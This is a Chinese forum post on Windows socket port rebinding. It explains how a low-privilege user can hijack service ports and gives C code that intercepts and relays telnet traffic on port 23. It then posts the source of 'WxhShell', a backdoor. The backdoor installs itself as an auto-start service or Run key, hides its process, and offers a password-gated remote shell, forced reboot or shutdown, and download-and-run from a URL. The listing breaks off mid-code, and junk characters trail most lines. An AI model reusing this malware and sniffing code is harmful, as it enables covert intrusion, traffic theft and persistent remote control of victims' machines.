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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]SA/KV   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9'H:pb2  
/7S g/d%c  
  saddr.sin_family = AF_INET; I/St=-;  
x'}z NEXI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K{I"2c  
5Xxdm-0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :dbO|]Xf  
<ndY6n3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $> QJ%v9+  
{wSz >,  
  这意味着什么?意味着可以进行如下的攻击: .R` _"7  
dRzeHuF92  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SbUac<  
sqhIKw@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3 +'vNc  
Bj6%mI42hl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z[[qrR  
<Af&Q0J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `dX0F=Ag?  
6rE8P#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TW 1`{SM  
4s|qxCks  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \anOOn@  
3%9XJ]Qao  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |a7Kn/[`,  
eVMnI yr  
  #include ]:F !h2  
  #include ZZkc) @  
  #include DS4y@,/)'  
  #include    GKWsJO5 n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q1kM 4Up  
  int main() Qo3Enwap=  
  { Zp{K_ec{  
  WORD wVersionRequested; x76;wQ  
  DWORD ret; tIV9Y=ckr0  
  WSADATA wsaData; vAG|Y'aO@%  
  BOOL val; f\$_^dV  
  SOCKADDR_IN saddr; cY!Pv  
  SOCKADDR_IN scaddr; 6:QlHuy0nH  
  int err; t; #@t/`  
  SOCKET s; s."N7F  
  SOCKET sc; {l/`m.Z  
  int caddsize; 1jzu-s ,F  
  HANDLE mt; G 9 &,`  
  DWORD tid;   7ieAd/:_  
  wVersionRequested = MAKEWORD( 2, 2 ); w ?"M  
  err = WSAStartup( wVersionRequested, &wsaData ); (O!CH N!:  
  if ( err != 0 ) { &%(Dd  
  printf("error!WSAStartup failed!\n"); `N}V i6FG  
  return -1; QaE!?R  
  } '"Uhw$#t  
  saddr.sin_family = AF_INET; k&[6Ld0~56  
   Rc9>^>w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1)97AkN(O  
a|]deJU^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .*"KCQGOgM  
  saddr.sin_port = htons(23); \TzBu?,v8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #:Q\   
  { QS4~":D/C  
  printf("error!socket failed!\n"); Y0Tw:1a  
  return -1; "ig)7X+Wz|  
  } ~A%+oa*2~  
  val = TRUE; ?c"i V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^g2Vz4u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M'X,7hZ  
  { @!ja/Y^  
  printf("error!setsockopt failed!\n"); +S#Xm4  
  return -1; XCxxm3t  
  } D8*6h)~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }=|{"C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /VEK<.,aMv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mss.\  
3 Sf':N`u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;U a48pSv  
  { ?Ec{%N%  
  ret=GetLastError(); 1x##b [LC  
  printf("error!bind failed!\n"); /Wl8Jf7'  
  return -1; rOYYZ)Qw  
  } hZo  f  
  listen(s,2); 7#Fcn  
  while(1) e=# D1  
  { lc [)Ev  
  caddsize = sizeof(scaddr); H<nA*Zf2@R  
  //接受连接请求 XN\rq=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #Rs5W  
  if(sc!=INVALID_SOCKET) h'vBWtMa  
  { =l] lwA -  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ed_Fx'  
  if(mt==NULL) 5~[][VV^  
  { F]N?_ bo  
  printf("Thread Creat Failed!\n"); \?Xoa"^  
  break; h^,L) E  
  } b o_`P3  
  } -I*vl  
  CloseHandle(mt); ApggTzh@  
  } Y>8JHoV  
  closesocket(s); 8090+ ( U  
  WSACleanup(); IZQ*D)  
  return 0; n8\88d  
  }   K2v[_a~@  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?-0, x|ul  
  { E 8$S0u;`  
  SOCKET ss = (SOCKET)lpParam; y5^OD63s  
  SOCKET sc; M U '-  
  unsigned char buf[4096]; ;Vf{3  
  SOCKADDR_IN saddr; 5vS[{;<&  
  long num; tU!Yg"4Q  
  DWORD val; fb[lL7  
  DWORD ret; Zrgv*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +.rOqkxJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k3Puq1H  
  saddr.sin_family = AF_INET; @li/Y6Wh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R7h3O0@!  
  saddr.sin_port = htons(23); /74h+.amg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ru1^. (W2  
  { [P}mDX  
  printf("error!socket failed!\n"); 7&]|c?([4  
  return -1; S {+Z.P  
  } el2<W=^M  
  val = 100; &U([Wd?E2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BbL]0i  
  { GZuWA a  
  ret = GetLastError(); BT$Oh4y4  
  return -1;  3U!=R-  
  } |S<!'rY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gg#lI|  
  { ~oK0k_{~  
  ret = GetLastError(); g2M1zRm;  
  return -1; zqQ[uO]m?  
  } )>"Ky  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s bR*[2  
  { @W==)S%O  
  printf("error!socket connect failed!\n"); :>H{?  
  closesocket(sc); ug"4P.wI  
  closesocket(ss); )7#3n(_np  
  return -1; N K@6U_/W  
  } TnKOr~@*  
  while(1) hOFvM&$  
  { >r}?v3QW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .*W7Z8!e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Cy5iEI#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 { utnbtmu  
  num = recv(ss,buf,4096,0); WyM2h  
  if(num>0) ZnuRy:  
  send(sc,buf,num,0); d6??OO=~>M  
  else if(num==0) 497l2}0  
  break; \CS4aIp  
  num = recv(sc,buf,4096,0); _~P &8  
  if(num>0) kK:Wr&X0H  
  send(ss,buf,num,0); *1:kIi7_  
  else if(num==0) C}L2'l,  
  break; S&'s/jB  
  } `JGW8 _  
  closesocket(ss); C58B(Ndo  
  closesocket(sc); vI48*&]wTf  
  return 0 ; &wu1Zz[qcz  
  } &arJe!K  
:w4N*lV-  
5 5Mtjqfp  
========================================================== _oefp*iWS  
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下边附上一个代码,,WXhSHELL Z^WI~B0nt  
YzEOfHL,  
========================================================== 1C*mR%Q  
YZ<5-C  
#include "stdafx.h" k!WeE#"(  
2$o\`^dy  
#include <stdio.h> #P!M"_z  
#include <string.h> xsS;<uCD  
#include <windows.h> Of9 gS-m  
#include <winsock2.h> K05T`+N,  
#include <winsvc.h> q$ j  
#include <urlmon.h> A\E ))b9+  
#~w~k+E4  
#pragma comment (lib, "Ws2_32.lib") g~9b_PY9  
#pragma comment (lib, "urlmon.lib") $d.Dk4.ed  
>-w# &T &K  
#define MAX_USER   100 // 最大客户端连接数 B=}QgXg  
#define BUF_SOCK   200 // sock buffer KO"+"1 .  
#define KEY_BUFF   255 // 输入 buffer !i@A}$y  
3mg:9]X9  
#define REBOOT     0   // 重启 C?<-`$0  
#define SHUTDOWN   1   // 关机 <KoOJMx(  
[W3sveqj&  
#define DEF_PORT   5000 // 监听端口 e$rPXRf  
T+%P+  
#define REG_LEN     16   // 注册表键长度 #)S&Z><<  
#define SVC_LEN     80   // NT服务名长度 7lwFxP5QT  
) <w`:wD  
// 从dll定义API U5?QneK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t23W=U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^L.'At  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cveQ6 -`K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Aug7 HlS  
p^ OHLT  
// wxhshell配置信息 N'pYz0_H  
struct WSCFG { +4[9Eb'k=  
  int ws_port;         // 监听端口 ]-;JHB5A_:  
  char ws_passstr[REG_LEN]; // 口令 zq3f@xOK  
  int ws_autoins;       // 安装标记, 1=yes 0=no +u&3pK>f  
  char ws_regname[REG_LEN]; // 注册表键名 t/3qD7L  
  char ws_svcname[REG_LEN]; // 服务名 0&tr3!h\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yDRi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^B7Ls{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =OTu8_ d0t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MvaX>n !o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >m%7dU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \uJ+~db=  
Fp]ErDan  
}; cXYE !(  
6C ?,V3Z  
// default Wxhshell configuration <R%TCVwC@  
struct WSCFG wscfg={DEF_PORT, { qCFd  
    "xuhuanlingzhe", t2m7Yh5B  
    1, K<pZ*l  
    "Wxhshell", }-9 c1&m  
    "Wxhshell", y*=Ipdj  
            "WxhShell Service", VG50n<m9  
    "Wrsky Windows CmdShell Service", Q=#FvsF#z3  
    "Please Input Your Password: ", 2j ]uB0  
  1, $Ny:At  
  "http://www.wrsky.com/wxhshell.exe", .%M80X{5~  
  "Wxhshell.exe" <l eE.hhf.  
    }; ;Qc^xIPy  
WQB V~.<Yv  
// 消息定义模块 G%K&f1q%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xNLgcb@v>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q:vGGK^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wZKmU  
char *msg_ws_ext="\n\rExit."; .4<lw  
char *msg_ws_end="\n\rQuit."; oc[z dIk  
char *msg_ws_boot="\n\rReboot..."; _|;{{8*?  
char *msg_ws_poff="\n\rShutdown..."; z 8#{=e  
char *msg_ws_down="\n\rSave to "; nFn}  
2 ksbDl}  
char *msg_ws_err="\n\rErr!"; )/2TU]//  
char *msg_ws_ok="\n\rOK!"; > -(Zx  
e ]{=#  
char ExeFile[MAX_PATH]; ln6=XDu  
int nUser = 0; ,VzbKx,  
HANDLE handles[MAX_USER]; gebL6oc%  
int OsIsNt; 0E{DO<~  
7E5 =Qx  
SERVICE_STATUS       serviceStatus; \i<7Lk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v(, tu/  
R+.kwq3CED  
// 函数声明 vw-y:,5`t8  
int Install(void); h&~9?B  
int Uninstall(void); 2~V"[26t  
int DownloadFile(char *sURL, SOCKET wsh); \zOsq5}  
int Boot(int flag); !lM.1gTTC  
void HideProc(void); [Ov/&jD"  
int GetOsVer(void); aO bp"  
int Wxhshell(SOCKET wsl); g*w}m>O  
void TalkWithClient(void *cs); JLg/fB3%  
int CmdShell(SOCKET sock);  OAgZeK$  
int StartFromService(void); )XoMOz  
int StartWxhshell(LPSTR lpCmdLine); k3]qpWKj  
*V[I&dKq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z>'vS+axV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =CjWPZShV  
~w.y9)",  
// 数据结构和表定义 iDltN]zS  
SERVICE_TABLE_ENTRY DispatchTable[] = ^E~1%Md.  
{ W[>qiYf^b  
{wscfg.ws_svcname, NTServiceMain}, yDj'')LOQg  
{NULL, NULL} Kp;a(D  
}; SQMtR2  
a=6@} l1<  
// 自我安装 `f <w+u  
int Install(void) `L!L=.}4  
{ :z%Zur+n c  
  char svExeFile[MAX_PATH]; $ P2*qpqy  
  HKEY key; tC.etoh  
  strcpy(svExeFile,ExeFile); !HeQMz  
2~ vvE  
// 如果是win9x系统,修改注册表设为自启动 +&E\w,Vq^  
if(!OsIsNt) { p=|S %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BQs\!~Ux2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !"'6$"U\K  
  RegCloseKey(key); t oM+Bd:Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ",aEN=+|hV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SQ'%a-Mct  
  RegCloseKey(key); 9 aKU}y  
  return 0; QB ;TQZ  
    } '+c@U~d*7  
  } lAo4)  
} Y3 -f68*(  
else { xZ SDA8kS  
]Z52L`k  
// 如果是NT以上系统,安装为系统服务 }VHvC"   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~&"'>C#  
if (schSCManager!=0) H wz$zF+R  
{ bkrl>Im<n  
  SC_HANDLE schService = CreateService . +,{|){c  
  ( CdtCxy5  
  schSCManager, /-(OJN5F^  
  wscfg.ws_svcname, ,jl4W+s  
  wscfg.ws_svcdisp, vN~joQ=d  
  SERVICE_ALL_ACCESS, JgV4-B0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9hJ a K  
  SERVICE_AUTO_START, ZkNet>9  
  SERVICE_ERROR_NORMAL, =-qYp0sVP  
  svExeFile, pOj8-rr  
  NULL, CBz=-Xr  
  NULL, ]u:Ij|.'y0  
  NULL, kxmsrQ>av  
  NULL, D u_ ;!E  
  NULL 2Zg%4/u,Zp  
  ); g[\8s~g,  
  if (schService!=0) -"XHN=H  
  { ]LMtZUz  
  CloseServiceHandle(schService); 1@F>E;YjL=  
  CloseServiceHandle(schSCManager); X?(R!=a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "I@akM$x  
  strcat(svExeFile,wscfg.ws_svcname); -KZ9TV # R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;wZplVB7y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /J(~NGT  
  RegCloseKey(key); : ?>yi7w  
  return 0;  &'?Hh(  
    } - rI4_Dl  
  } M-e|$'4u  
  CloseServiceHandle(schSCManager); Z4m+GFY  
} + +Eu.W;&#  
} 3FMYs&0r4  
^Cj3\G4,  
return 1; 9V;A +d,  
} E 0@u|  
]Y$jc  
// 自我卸载 m';4`Y5-  
int Uninstall(void) *Xn6yL9  
{ r[#*..Y  
  HKEY key; 1bjWWNzQA  
G'wyH[ d/  
if(!OsIsNt) { $J0o%9K   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !LsIHDs4  
  RegDeleteValue(key,wscfg.ws_regname); R~;8v1>K  
  RegCloseKey(key); 7&(h_}Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tqL2' (=  
  RegDeleteValue(key,wscfg.ws_regname); 6H;\Jt  
  RegCloseKey(key); mApl;D X  
  return 0; ']Z%6_WF  
  } kPO+M~+n  
} w8#ji 1gX  
} i8#:y`ai  
else { n1b^o~agwC  
Ql,WKoj*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <@y(ikp>  
if (schSCManager!=0) `X B$t?xi  
{ /4upw`35]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c@KNyBy2  
  if (schService!=0) >GmO8dK  
  { &4*f28 s  
  if(DeleteService(schService)!=0) { <y#@v  G  
  CloseServiceHandle(schService); Ga pM~~  
  CloseServiceHandle(schSCManager); /!60oV4p0  
  return 0; Q@*9|6-  
  } ?!3u ?Kd  
  CloseServiceHandle(schService); n- 1  
  } P!{J28dj  
  CloseServiceHandle(schSCManager); |\)Y,~;P  
} t7*F,  
} lk=[Xo  
W'e{2u  
return 1; TxTxyYd  
} 5D mSgP:  
KbH|'/w  
// 从指定url下载文件 6B}V{2  
int DownloadFile(char *sURL, SOCKET wsh) 3@1$y`SN  
{ G\(*z4@Gz  
  HRESULT hr; dki3(  
char seps[]= "/"; V|<'o<h8  
char *token; g``S SU  
char *file; c4bvJy8  
char myURL[MAX_PATH]; 7Oi<_b  
char myFILE[MAX_PATH]; 7324#HwS  
5JG`FRW!  
strcpy(myURL,sURL); !P6?nS  
  token=strtok(myURL,seps); 7_eV.'h  
  while(token!=NULL) +Q"XwxL<6  
  { qVvnl  
    file=token; Ix0#eoj  
  token=strtok(NULL,seps); Eks<O  
  } =!/T4Oo  
jV<5GWq  
GetCurrentDirectory(MAX_PATH,myFILE); +^.xLTX`$  
strcat(myFILE, "\\"); Wxi;Tq9C@_  
strcat(myFILE, file); {@PZlQg  
  send(wsh,myFILE,strlen(myFILE),0); Ij9=J1c4  
send(wsh,"...",3,0); v7D0E[)~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vq^b_^  
  if(hr==S_OK) yP34h*0B  
return 0; v7@ *dg  
else ciW;sK8  
return 1; d-gcXaA-8  
OK z5;#S=  
} WY26Iq@C  
%Kh}6   
// 系统电源模块 x$pz(Q&v  
int Boot(int flag) _6]tbni?v  
{ Mv:\T%]  
  HANDLE hToken; upq3)t_  
  TOKEN_PRIVILEGES tkp; T`c:16I  
8 v da"  
  if(OsIsNt) { aLwEz}-   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s,M]f,T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8/~@3-9EK  
    tkp.PrivilegeCount = 1; 6 I43a1[s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cq/@ng*o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R0F&!y!B  
if(flag==REBOOT) { *~.'lE%[U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ia:M+20n  
  return 0; <W*6=HZ'  
} TnuA uui*  
else { s1X?]A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C]3^:b+   
  return 0; M1*x47bN  
} .{(gku>g(  
  } :1~4X  
  else { kAW2vh  
if(flag==REBOOT) { r]S"i$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .EjjCE/v-  
  return 0; S5cs(}Bq  
}  7uzc1}r  
else { K'[kl'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )W1[{?  
  return 0; wid  
} eXkpU7w;  
} &-Q_%eM^  
a24(9(yh  
return 1; +;q` A 1  
} /KlSI<T@  
D$`$4mX@hP  
// win9x进程隐藏模块 ^vI`#}?  
void HideProc(void) w=~X6[+3  
{ /5Yl, P  
2TQ<XHA\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .pblI  
  if ( hKernel != NULL ) MQX9BJ%  
  { ~6[3Km|2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qGzF@p(p8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]oKHS$W9  
    FreeLibrary(hKernel); %htwq]rZd  
  } /K<>OyR?  
iS`ok  
return; R l)g[s  
} Y*S(uqM  
:S+Bu*OyH  
// 获取操作系统版本 0.B'Bvn=s2  
int GetOsVer(void) m4R:KjN*  
{ FyV $`c$  
  OSVERSIONINFO winfo; 0u I=8j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /@",5U#  
  GetVersionEx(&winfo); LE g#W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uao#=]?)  
  return 1; P[H 4Yp  
  else 4u1au1c  
  return 0; BD M"";u  
} F*y7 4j,  
I0_>ryA  
// 客户端句柄模块 )%hW3w  
int Wxhshell(SOCKET wsl) jori,"s  
{ +Ecn  
  SOCKET wsh; qh6Q#s>tH  
  struct sockaddr_in client; |gfG\fL3V  
  DWORD myID; so@ijl4{Z  
-hGLGF??  
  while(nUser<MAX_USER) $8Gj9mw4e'  
{ mD,fxm{G  
  int nSize=sizeof(client); q oz[x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VrJf g  
  if(wsh==INVALID_SOCKET) return 1; 5zF$Q{3  
!@FzP@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QPB ^%8  
if(handles[nUser]==0) V:lKF')  
  closesocket(wsh); 3.Jk-:u %m  
else nMBF/75  
  nUser++; t24.u+O  
  } } ;d=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z3-=TN  
+]e) :J  
  return 0; a *nCvZ  
}  wKbU}29c  
8,)<,g-/=  
// 关闭 socket `F_R J.g*p  
void CloseIt(SOCKET wsh) WFvVu3  
{ ".kH5(:  
closesocket(wsh); WA#y&  
nUser--; zuJ@@\75  
ExitThread(0); m=60a@o]  
} g2YE^EKU~  
z#6(PZC}  
// 客户端请求句柄 ,]tMZ?n8  
void TalkWithClient(void *cs) m-Qy6"eW  
{ ?:+p#&I  
Am >b7Z!  
  SOCKET wsh=(SOCKET)cs; {gB9EGY  
  char pwd[SVC_LEN]; ]#W9l\  
  char cmd[KEY_BUFF]; 6U1_Wk?   
char chr[1]; 2F/oWt|w?  
int i,j; NH+N+4dEO  
##s :Ww  
  while (nUser < MAX_USER) { V%voe  
Z5@E|O&  
if(wscfg.ws_passstr) { mJsU7bD`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 12l1u[TlS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !HF<fn  
  //ZeroMemory(pwd,KEY_BUFF);  }D!o=Mg^  
      i=0; }-p-(  
  while(i<SVC_LEN) { LRSt >; M  
'wo}1^V  
  // 设置超时 Nh^q&[?  
  fd_set FdRead; hSaw)g`w  
  struct timeval TimeOut; pbG v\S F  
  FD_ZERO(&FdRead); >KJE *X@s  
  FD_SET(wsh,&FdRead); QiNLE'19^  
  TimeOut.tv_sec=8; e4;h*IQK  
  TimeOut.tv_usec=0; ;ao <{i?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 03!#99  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E4<#6q  
g+-^6UG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dlMjy$/T  
  pwd=chr[0]; w^[:wzF0  
  if(chr[0]==0xd || chr[0]==0xa) { +ux`}L(  
  pwd=0; 1/A|$t[  
  break; 5qkyi]/U8  
  } ',I$`h  
  i++; vQ >8>V  
    } Lv *USN  
SGpe\P]k  
  // 如果是非法用户,关闭 socket [>lQi X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &H2j3De  
} ?&POVf>  
22`e7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f+2mX"Z[F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DK|/|C}6  
G#6O'G N  
while(1) { 8Y;2.Z`Rz  
9!6u Yf+  
  ZeroMemory(cmd,KEY_BUFF); |wuN`;gc"  
0bjZwC4J  
      // 自动支持客户端 telnet标准   |oR#j `  
  j=0; /1.gv~`+  
  while(j<KEY_BUFF) { 5Trc#i<\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iz&<rL;s  
  cmd[j]=chr[0]; a)!R4  
  if(chr[0]==0xa || chr[0]==0xd) { (mx}6A  
  cmd[j]=0; !ozHS_  
  break; 9 $zx<O  
  } vyT-!mC  
  j++; $LtCI  
    } >n%ckL|rG  
Kp6%=JjO  
  // 下载文件 3Q_)Xs r`  
  if(strstr(cmd,"http://")) { /.(F\2+A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u89Q2\z~"M  
  if(DownloadFile(cmd,wsh)) )Zrn?KM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Rb8 / WX  
  else #2%8@?_-M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *\^(-p~M  
  } pK)!o  
  else { q[c^`5  
F`o"t]AD-a  
    switch(cmd[0]) { _ FN#Vq2  
  Qi|k,1A0  
  // 帮助 y~ wN:  
  case '?': { yg"FF:^T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D+7[2$:z  
    break; gY_AO1  
  } kuv+TN  
  // 安装 1z@{ 4)  
  case 'i': { S*H @`Do%d  
    if(Install()) \_/dfmlIZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +aOX{1w  
    else 3*oZol/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "}:SXAZ5`  
    break; :PB W=W  
    } m2Wi "X(I_  
  // 卸载 J?f7!F:8  
  case 'r': { :v^OdW  
    if(Uninstall()) /Y| <0tq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zn5|ewl@"  
    else hdYd2 j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i \@a&tw  
    break; (_fovV=  
    } iL'j9_w,  
  // 显示 wxhshell 所在路径 l^rQo_alk  
  case 'p': { ;;Jx1Q  
    char svExeFile[MAX_PATH]; j_SUR)5  
    strcpy(svExeFile,"\n\r"); ] m #*4  
      strcat(svExeFile,ExeFile); v+'*.Iv:  
        send(wsh,svExeFile,strlen(svExeFile),0); {%6g6?=j  
    break; ,j eC7-tX  
    } <,Jx3y q  
  // 重启 24 RD  
  case 'b': { 5]2 p>%G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gl9 ,!"A  
    if(Boot(REBOOT)) I~,bZA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _BG7 JvI  
    else { _[N*k"  
    closesocket(wsh); Y$W)JWMY`  
    ExitThread(0); [!`5kI  
    } )-\qo#0l  
    break; -K6y#O@@  
    } -6# _t  
  // 关机 ~g*5."-i  
  case 'd': { ;G*)7fi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]qiX"<s>~C  
    if(Boot(SHUTDOWN)) F:LrQu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [$Jsel<T=  
